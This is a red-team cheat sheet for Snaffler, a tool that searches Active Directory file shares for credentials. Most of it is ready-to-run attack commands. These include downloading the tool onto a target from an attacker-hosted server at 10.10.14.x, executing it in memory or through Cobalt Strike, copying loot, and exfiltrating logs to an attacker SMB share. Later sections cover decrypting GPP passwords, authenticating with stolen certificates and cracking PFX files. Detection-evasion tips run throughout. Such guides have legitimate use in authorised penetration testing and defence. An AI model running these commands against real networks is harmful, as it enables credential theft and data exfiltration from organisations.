🔍 Snaffler — Complete Cheat Sheet

Author: Netrunner | Tags: Credential Hunting File Shares AD Red Team Post-Exploitation

📋 Table of Contents

1. What is Snaffler?
2. How It Works
3. Getting Snaffler onto a Target
4. Basic Usage
5. Target Specification
6. Share Discovery Options
7. File Discovery & Snaffling
8. Output Formats & Logging
9. Triage Levels — Understanding Results
10. Custom Rules (TOML Configuration)
11. Performance Tuning
12. Parsing & Post-Processing Results
13. Real-World Attack Workflows
14. OPSEC Tips
15. Detection & Indicators
16. Common Errors & Fixes
17. Quick Reference Card

What is Snaffler?

Snaffler is a C# tool for finding sensitive data across Active Directory file shares. It automatically discovers domain-joined computers, enumerates their SMB shares, and recursively searches for files containing credentials, secrets, configuration data, and other high-value targets.

Core capabilities:

• Auto-discovers domain computers via LDAP
• Enumerates SMB/CIFS shares on all discovered hosts
• Searches files by name, extension, content, and regex patterns
• Classifies findings by severity (Black → Red → Yellow → Green)
• Optionally copies (“snaffles”) interesting files to a collection directory
• Fully customizable rules via TOML configuration files

GitHub: https://github.com/SnaffCon/Snaffler

How It Works

                    ┌────────────────────┐
                    │ Active Directory   │
                    │ (LDAP Query)       │
                    └───────┬────────────┘
                            │ 1. Query for domain
                            │    computer objects
                            ▼
                    ┌────────────────────┐
                    │ Computer Discovery │
                    │ DC01, WEB01, DB01  │
                    └───────┬────────────┘
                            │ 2. Enumerate SMB shares
                            │    on each computer
                            ▼
                    ┌────────────────────┐
                    │ Share Enumeration  │
                    │ \\DC01\SYSVOL      │
                    │ \\WEB01\wwwroot    │
                    │ \\DB01\backup$     │
                    └───────┬────────────┘
                            │ 3. Recursively walk
                            │    accessible shares
                            ▼
                    ┌────────────────────┐
                    │ File Classification│
                    │ Match by name,     │
                    │ extension, content │
                    └───────┬────────────┘
                            │ 4. Report & optionally
                            │    copy matched files
                            ▼
                    ┌────────────────────┐
                    │ Output: Console,   │
                    │ Log File, TSV      │
                    └────────────────────┘

Key principle: Snaffler runs as the current user. It can only access shares your user account has read permissions to. A low-privilege domain user will still often find plenty — SYSVOL, department shares, IT scripts folders, etc.

Getting Snaffler onto a Target

# From your attacking machine — host it
python3 -m http.server 80

# On target — download
certutil -urlcache -f http://10.10.14.x/Snaffler.exe C:\Windows\Temp\Snaffler.exe
iwr -uri http://10.10.14.x/Snaffler.exe -outfile C:\Windows\Temp\Snaffler.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.x/Snaffler.exe', 'C:\Windows\Temp\Snaffler.exe')

# Via Evil-WinRM
upload Snaffler.exe

# In-memory execution (.NET assembly loading)
$data = (New-Object Net.WebClient).DownloadData('http://10.10.14.x/Snaffler.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[SnafflerApp.Program]::Main(@("-s", "-o", "snaffler.log"))

# Via Cobalt Strike
beacon> execute-assembly /path/to/Snaffler.exe -s -o snaffler.log

Basic Usage

# Simplest usage — output to console and log file
Snaffler.exe -s -o snaffler.log

# Just console output (no log file)
Snaffler.exe -s

# Just log file (quiet — no console output)
Snaffler.exe -o snaffler.log

# Specify domain explicitly
Snaffler.exe -s -o snaffler.log -d PAINTERS.HTB

# Specify domain controller
Snaffler.exe -s -o snaffler.log -d PAINTERS.HTB -c DC01.painters.htb

# Full verbose run with domain and DC specified
Snaffler.exe -s -o snaffler.log -d PAINTERS.HTB -c DC01.painters.htb -v Trace

# Classic on-box run: domain + file logging + data-level verbosity
# (content match snippets included in output — what you want for credential hunting)
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data

Verbosity Levels

Target Specification

Auto-Discovery (Default)

# Let Snaffler query AD for all domain computers (default behavior)
Snaffler.exe -s -o snaffler.log

Manual Host List

# Disable domain discovery — provide specific hosts
Snaffler.exe -s -o snaffler.log -n DC01,WEB01,DB01,FS01

# Read targets from a file (one hostname/IP per line)
Snaffler.exe -s -o snaffler.log -n targets.txt

Scan a Specific Path (No Discovery)

# Skip computer AND share discovery — scan a local or UNC path directly
Snaffler.exe -s -o snaffler.log -i "\\FS01\departmentshare"
Snaffler.exe -s -o snaffler.log -i "C:\Users\admin\Desktop"

Share Discovery Options

Default Share Enumeration

# Enumerate all accessible shares on all discovered hosts (default)
Snaffler.exe -s -o snaffler.log

DFS Shares Only (Stealthier)

# Only discover DFS (Distributed File System) shares
# Often considered sneakier — less share-enumeration noise
Snaffler.exe -s -o snaffler.log -f

Share Enumeration Only (No File Search)

# Just list accessible shares — don't look inside them
# Great for recon / scoping before a full scan
Snaffler.exe -s -o snaffler.log -a

# Example output:
# [Share] \\DC01\SYSVOL
# [Share] \\DC01\NETLOGON
# [Share] \\FS01\Users$
# [Share] \\FS01\IT_Scripts
# [Share] \\WEB01\wwwroot

File Discovery & Snaffling

Standard File Search

# Default — search files using built-in rules
Snaffler.exe -s -o snaffler.log

Copy Matched Files (“Snaffling”)

# Automatically copy interesting files to a local directory
Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled

# Limit file size for copies (default is 10MB / 10,000,000 bytes)
Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled -l 5000000

# Copy only files under 1MB
Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled -l 1000000

Content Search Tuning

# Set max file size to search INSIDE for sensitive strings
# Default: 500KB (500,000 bytes)
Snaffler.exe -s -o snaffler.log -r 1000000

# Reduce to 100KB for faster scanning (less thorough)
Snaffler.exe -s -o snaffler.log -r 100000

AD Username Enrichment

# Extract AD account names and build dynamic search rules
# Searches for files/content referencing specific usernames
Snaffler.exe -s -o snaffler.log -u

Output Formats & Logging

Standard Output (Human Readable)

# Console + log file
Snaffler.exe -s -o snaffler.log

TSV Output (Machine Parseable)

# Output in Tab-Separated Values format
# Ideal for piping into grep, awk, Excel, or custom parsers
Snaffler.exe -s -o snaffler.tsv -y

Understanding Output Lines

# Standard output format:
{TriageLevel} {Timestamp} {RuleName} {MatchLocation} {FilePath} {FileSize} {ModifiedDate} {MatchContext}

# Example outputs:
[Black] 2026-04-04 14:23:01 KeepKeePassRed FileExtension \\FS01\IT\passwords.kdbx 2048 2025-11-01
[Red]   2026-04-04 14:23:05 KeepCertContainsPrivKeyRed FileExtension \\DC01\SYSVOL\cert.pfx 4096 2025-09-15
[Yellow] 2026-04-04 14:23:10 ConfigContentYellow Content \\WEB01\wwwroot\web.config 1024 2025-12-01 "connectionString=...password=SecretPass..."
[Green] 2026-04-04 14:24:00 InterestingExtGreen FileExtension \\FS01\Scripts\deploy.ps1 8192 2026-01-10

Triage Levels — Understanding Results

Snaffler classifies every finding into one of four severity levels:

What to Investigate First

Priority 1 (Black): Password databases, private keys, vault files
  → Crack KeePass DBs, use private keys for auth, extract vault secrets

Priority 2 (Red): Certificate files, config files with passwords
  → Import certs for auth, extract plaintext passwords from configs

Priority 3 (Yellow): Web configs, scripts, connection strings
  → Check for hardcoded passwords, database connection strings, API keys

Priority 4 (Green): Scripts, documentation, interesting files
  → Manual review for embedded credentials or useful information

Useful Grep Patterns for Snaffler Output

# Filter by triage level
grep "\[Black\]" snaffler.log
grep "\[Red\]" snaffler.log
grep -E "\[(Black|Red)\]" snaffler.log

# Find specific file types
grep "\.kdbx" snaffler.log
grep "\.pfx" snaffler.log
grep "\.config" snaffler.log
grep "web\.config" snaffler.log

# Find password matches in content
grep -i "password" snaffler.log
grep -i "connectionstring" snaffler.log

# Count findings by level
grep -c "\[Black\]" snaffler.log
grep -c "\[Red\]" snaffler.log
grep -c "\[Yellow\]" snaffler.log
grep -c "\[Green\]" snaffler.log

Custom Rules (TOML Configuration)

Generate Default Config Template

# Generate a default.toml with all rules for customization
Snaffler.exe -z generate

# This creates a .toml file you can edit and reload

Load Custom Rules

# Point Snaffler to a directory containing your custom .toml rules
# NOTE: This REPLACES the default rules, not adds to them
Snaffler.exe -s -o snaffler.log -p C:\rules\custom_rules\

TOML Rule Structure

# Each rule is defined under ClassifierRules
# Multiple rules can exist in a single .toml file

ClassifierRules
EnumerationScope = "FileEnumeration"    # When this rule runs
RuleName = "MyCustomRule"               # Descriptive name
MatchAction = "Snaffle"                 # What to do on match
MatchLocation = "FileExtension"         # What to check
WordListType = "Exact"                  # How to match
WordList = [".kdbx", ".ppk"]            # What to match against
Triage = "Black"                        # Severity classification

Rule Components Explained

Example Custom Rules

Rule: Find Password Databases

ClassifierRules
EnumerationScope = "FileEnumeration"
RuleName = "KeepPasswordDatabasesBlack"
MatchAction = "Snaffle"
MatchLocation = "FileExtension"
WordListType = "Exact"
WordList = [".kdbx", ".kdb", ".1pif", ".agilekeychain", ".opvault", ".enpass", ".psafe3", ".dash"]
Triage = "Black"

Rule: Find SSH/SSL Private Keys

ClassifierRules
EnumerationScope = "FileEnumeration"
RuleName = "KeepPrivateKeysBlack"
MatchAction = "Snaffle"
MatchLocation = "FileExtension"
WordListType = "Exact"
WordList = [".pem", ".ppk", ".key", ".pvk", ".p12", ".pfx", ".jks", ".keystore"]
Triage = "Black"

Rule: Find Hardcoded Passwords in Config Files

ClassifierRules
EnumerationScope = "FileContent"
RuleName = "FindHardcodedPasswordsRed"
MatchAction = "Snaffle"
MatchLocation = "Content"
WordListType = "Regex"
WordList = ["(?i)(password|passwd|pwd)\\s*[:=]\\s*['\"]?[a-zA-Z0-9!@#$%^&*()_+]{6,}"]
Triage = "Red"

Rule: Find AWS/Azure/GCP Credentials

ClassifierRules
EnumerationScope = "FileContent"
RuleName = "FindCloudCredsRed"
MatchAction = "Snaffle"
MatchLocation = "Content"
WordListType = "Regex"
WordList = [
    "AKIA[0-9A-Z]{16}",
    "(?i)aws_secret_access_key\\s*[:=]",
    "(?i)azure_client_secret\\s*[:=]",
    "(?i)GOOGLE_APPLICATION_CREDENTIALS"
]
Triage = "Red"

Rule: Exclude Noisy Directories

ClassifierRules
EnumerationScope = "DirectoryEnumeration"
RuleName = "DiscardNoisyDirs"
MatchAction = "Discard"
MatchLocation = "Path"
WordListType = "Contains"
WordList = [
    "\\windows\\winsxs",
    "\\$recycle.bin",
    "\\windows\\servicing",
    "\\windows\\assembly",
    "\\windows\\installer",
    "\\windows\\logs",
    "\\program files\\windowsapps"
]

Rule: Find Group Policy Preference Files (cpassword)

ClassifierRules
EnumerationScope = "FileEnumeration"
RuleName = "KeepGPPFilesBlack"
MatchAction = "Snaffle"
MatchLocation = "FileName"
WordListType = "Exact"
WordList = ["Groups.xml", "Services.xml", "Scheduledtasks.xml", "DataSources.xml", "Printers.xml", "Drives.xml"]
Triage = "Black"

Performance Tuning

# Large environments can take hours. Here's how to speed things up:

# 1. Scope down — target specific hosts instead of full domain
Snaffler.exe -s -o snaffler.log -n DC01,FS01,FS02

# 2. Use DFS-only mode to reduce share enumeration noise
Snaffler.exe -s -o snaffler.log -f

# 3. Reduce content search file size (default 500KB → 100KB)
Snaffler.exe -s -o snaffler.log -r 100000

# 4. Start with share-only recon, then target interesting shares
Snaffler.exe -s -o shares_only.log -a
# Review → then target specific paths:
Snaffler.exe -s -o targeted.log -i "\\FS01\IT_Scripts"

# 5. Use custom rules that exclude noisy directories (see TOML section)

# 6. Run during business hours when systems are online
# (computers must be on and accessible via SMB)

Parsing & Post-Processing Results

Triage snaffler.log On the Windows Box

When you’re in a cmd / evil-winrm session and want to check findings before exfiltrating the log:

:: Read the whole log
type snaffler.log

:: Only Black / Red findings (the good stuff)
findstr /c:"[Black]" snaffler.log
findstr /c:"[Red]" snaffler.log
findstr /c:"[Black]" /c:"[Red]" snaffler.log

:: Hunt keywords in match context (requires -v data when scanning)
findstr /i "password" snaffler.log
findstr /i "connectionstring" snaffler.log
findstr /i "\.kdbx \.pfx web.config unattend" snaffler.log

# ── PowerShell equivalents ────────────────────────────────────────────────────
Select-String -Path snaffler.log -Pattern "\[Black\]","\[Red\]"
Get-Content snaffler.log | Select-String -Pattern "password" | Select-Object -First 20

# Count findings per triage level
Select-String -Path snaffler.log -Pattern "\[Black\]" | Measure-Object

Get the Log Back to Your Machine

# ── Evil-WinRM session ────────────────────────────────────────────────────────
download snaffler.log

# ── xfreerdp drive redirection (see xfreerdp sheet) ──────────────────────────
copy snaffler.log \\tsclient\home\snaffler.log

# ── SMB share on your box (impacket-smbserver) ───────────────────────────────
copy snaffler.log \\10.10.14.x\share\snaffler.log

# ── Base64 exfil over the session itself ─────────────────────────────────────
certutil -encode snaffler.log snaffler.b64
# then: download snaffler.b64  &&  base64 -d snaffler.b64 > snaffler.log

Then run the grep one-liners below locally, where output is easier to read.

Quick Bash One-Liners

# Show only Black and Red findings (highest value)
grep -E "\[(Black|Red)\]" snaffler.log

# Extract just the file paths from results
awk -F'\t' '{print $5}' snaffler.tsv

# Sort findings by triage level (Black first)
sort -t'[' -k2 snaffler.log

# Get unique file extensions found
grep -oP '\.\w+(?=\s)' snaffler.log | sort -u

# Count findings per host
grep -oP '\\\\[^\\]+' snaffler.log | sort | uniq -c | sort -rn

# Find all .config files with passwords
grep -i "password" snaffler.log | grep -i "\.config"

# Extract connection strings
grep -i "connectionstring" snaffler.log

# Find all KeePass databases
grep "\.kdbx" snaffler.log

PowerShell Parsing

# Import TSV output
$results = Import-Csv -Path snaffler.tsv -Delimiter "`t"

# Filter by triage level
$critical = $results | Where-Object { $_.Triage -eq "Black" -or $_.Triage -eq "Red" }

# Group by rule name
$results | Group-Object -Property RuleName | Sort-Object Count -Descending

# Export critical findings to CSV
$critical | Export-Csv -Path critical_findings.csv -NoTypeInformation

SnafflerParser (Community Tool)

# Community tool for converting Snaffler output to HTML reports
# GitHub: https://github.com/SpaceCowboy-71/SnafflerParser

# Generate an HTML report from Snaffler log
python3 SnafflerParser.py -i snaffler.log -o report.html

# Generate sorted/filtered output
python3 SnafflerParser.py -i snaffler.log -o report.html --min-triage Red

Real-World Attack Workflows

Workflow 1: Initial Domain Recon Sweep

# Step 1: Quick share-only recon (fast, low noise)
Snaffler.exe -s -o shares_recon.log -a

# Step 2: Review accessible shares
type shares_recon.log

# Step 3: Full scan with logging
Snaffler.exe -s -o full_scan.log

# Step 4: Prioritize findings
# On Kali, pull the log:
grep -E "\[(Black|Red)\]" full_scan.log

Workflow 2: GPP Password Hunt (SYSVOL)

# Target SYSVOL specifically for Group Policy Preference cpasswords
Snaffler.exe -s -o gpp_hunt.log -i "\\DC01\SYSVOL"

# If you find Groups.xml / Services.xml with cpassword:
# Decrypt the cpassword using gpp-decrypt
gpp-decrypt <cpassword_base64_value>

# Or use crackmapexec
crackmapexec smb DC01 -u user -p pass -M gpp_autologin
crackmapexec smb DC01 -u user -p pass -M gpp_password

Workflow 3: Targeted IT/Admin Share Hunt

# Step 1: Identify IT-related shares from recon
Snaffler.exe -s -o shares.log -a
# Look for: IT_Scripts, Admin$, Backup, Deploy, Software

# Step 2: Target those shares specifically
Snaffler.exe -s -o it_scripts.log -i "\\FS01\IT_Scripts"
Snaffler.exe -s -o backups.log -i "\\FS01\Backups"

# Step 3: Look for scripts with hardcoded credentials
grep -i "password" it_scripts.log
grep -i "credential" it_scripts.log
grep -i "runas" it_scripts.log

# Step 4: Copy interesting files locally for deeper review
Snaffler.exe -s -o targeted.log -i "\\FS01\IT_Scripts" -m C:\loot\snaffled -l 5000000

Workflow 4: Web.config Credential Extraction

# Scan web server shares for config files
Snaffler.exe -s -o webconfigs.log -n WEB01,WEB02,APP01

# Parse results for connection strings
grep -i "connectionstring" webconfigs.log
grep -i "password" webconfigs.log
grep -i "appSettings" webconfigs.log

# Common web.config credential patterns:
#   <add key="DBPassword" value="SecretPass123" />
#   connectionString="Server=DB01;Database=app;User=sa;Password=P@ss;"
#   <identity impersonate="true" userName="DOMAIN\svc" password="..." />

Workflow 5: Certificate & Key Hunting

# Hunt for certificate files across the domain
Snaffler.exe -s -o certs.log

# Filter for cert-related findings
grep -E "\.(pfx|p12|pem|key|pvk|ppk|jks)" certs.log

# If you find a .pfx file:
# 1. Copy it locally
copy "\\FS01\Certs\wildcard.pfx" C:\loot\

# 2. Try to import without password
certutil -importpfx C:\loot\wildcard.pfx

# 3. Or use Certipy to authenticate with the cert (from Linux)
certipy auth -pfx wildcard.pfx -dc-ip 10.10.11.x

# If password-protected, crack with pfx2john + john/hashcat
pfx2john wildcard.pfx > pfx_hash.txt
john pfx_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

OPSEC Tips

✅ Run during business hours — more hosts will be online and accessible

✅ Use -a (share-only) first to scope before full scanning
   Reduces time on target and lets you prioritize

✅ Use targeted scans (-n or -i) instead of full domain sweeps
   Less network noise, faster results, harder to detect

✅ Use DFS mode (-f) when possible — less share enumeration traffic

✅ Pipe output to a file (-o) and exfiltrate the log later
   Avoid leaving console output in C2 logs/screenshots

✅ Use TSV output (-y) for cleaner parsing — no need to re-run

✅ Scope down content search size (-r) to reduce time on target

✅ Run via execute-assembly in C2 — avoid dropping binary to disk

⚠️ Snaffler generates SIGNIFICANT SMB traffic across many hosts
   Security teams monitoring NetFlow/SMB logs will notice

⚠️ Accessing many shares rapidly looks like SMB enumeration
   IDS rules exist for rapid share access patterns

⚠️ Copying files (-m flag) generates even more SMB traffic
   Only snaffle files you specifically need

⚠️ Running from a workstation that doesn't normally access many shares
   is an anomaly that UEBA/behavior analytics will flag

Detection & Indicators

MITRE ATT&CK Mapping

Common Errors & Fixes

Quick Reference Card

═══════════════════════════════════════════════════════════════════
  SNAFFLER QUICK REFERENCE
═══════════════════════════════════════════════════════════════════

BASIC SCAN:         Snaffler.exe -s -o snaffler.log
WITH DOMAIN:        Snaffler.exe -s -o snaffler.log -d DOMAIN.HTB
WITH DC:            Snaffler.exe -s -o snaffler.log -d DOMAIN.HTB -c DC01.domain.htb

TARGET HOSTS:       Snaffler.exe -s -o snaffler.log -n DC01,FS01,WEB01
TARGET PATH:        Snaffler.exe -s -o snaffler.log -i "\\FS01\share"

DFS ONLY:           Snaffler.exe -s -o snaffler.log -f
SHARES ONLY:        Snaffler.exe -s -o snaffler.log -a

COPY FILES:         Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled
MAX COPY SIZE:      Snaffler.exe -s -o snaffler.log -m C:\loot -l 5000000
CONTENT SIZE:       Snaffler.exe -s -o snaffler.log -r 100000

TSV OUTPUT:         Snaffler.exe -s -o snaffler.tsv -y
VERBOSE:            Snaffler.exe -s -o snaffler.log -v Trace
AD USERNAMES:       Snaffler.exe -s -o snaffler.log -u

CUSTOM RULES:       Snaffler.exe -s -o snaffler.log -p C:\rules\
GENERATE RULES:     Snaffler.exe -z generate

═══════════════════════════════════════════════════════════════════
  FLAG REFERENCE
═══════════════════════════════════════════════════════════════════

-s              → Output to console (stdout)
-o <path>       → Save output to log file
-d <domain>     → Specify target domain
-c <dc>         → Specify domain controller
-n <hosts>      → Manual host list (comma-separated or file)
-i <path>       → Scan specific path (skip discovery)
-f              → DFS shares only (stealthier)
-a              → Share enumeration only (no file search)
-m <dir>        → Copy matched files to directory
-l <bytes>      → Max file size to copy (default: 10MB)
-r <bytes>      → Max file size to content-search (default: 500KB)
-u              → Use AD usernames for dynamic rules
-y              → TSV output format
-v <level>      → Verbosity: Info|Data|Debug|Trace
-z generate     → Generate default TOML config
-p <dir>        → Load custom TOML rules from directory

═══════════════════════════════════════════════════════════════════
  TRIAGE LEVELS
═══════════════════════════════════════════════════════════════════

⬛ BLACK  → Highest value  → Password DBs, private keys, vaults
🟥 RED    → High value     → Certs with keys, configs with creds
🟨 YELLOW → Medium value   → Scripts, configs, connection strings
🟩 GREEN  → Low / info     → Interesting files, documentation

═══════════════════════════════════════════════════════════════════
  COMMON FILE TARGETS
═══════════════════════════════════════════════════════════════════

.kdbx / .kdb        → KeePass databases (crack with keepass2john)
.pfx / .p12         → Certificates with private keys
.ppk                → PuTTY private keys
.pem / .key         → SSL/SSH private keys
web.config          → ASP.NET config (connection strings)
Groups.xml          → GPP passwords (decrypt with gpp-decrypt)
unattend.xml        → Autologon credentials
.ps1 / .bat / .cmd  → Scripts with hardcoded credentials
.ini / .conf        → Configuration files
.rdg / .rdp         → Remote Desktop saved connections

Sources: Snaffler GitHub (SnaffCon/Snaffler) | SnafflerParser (SpaceCowboy-71) | HackTricks | MITRE ATT&CK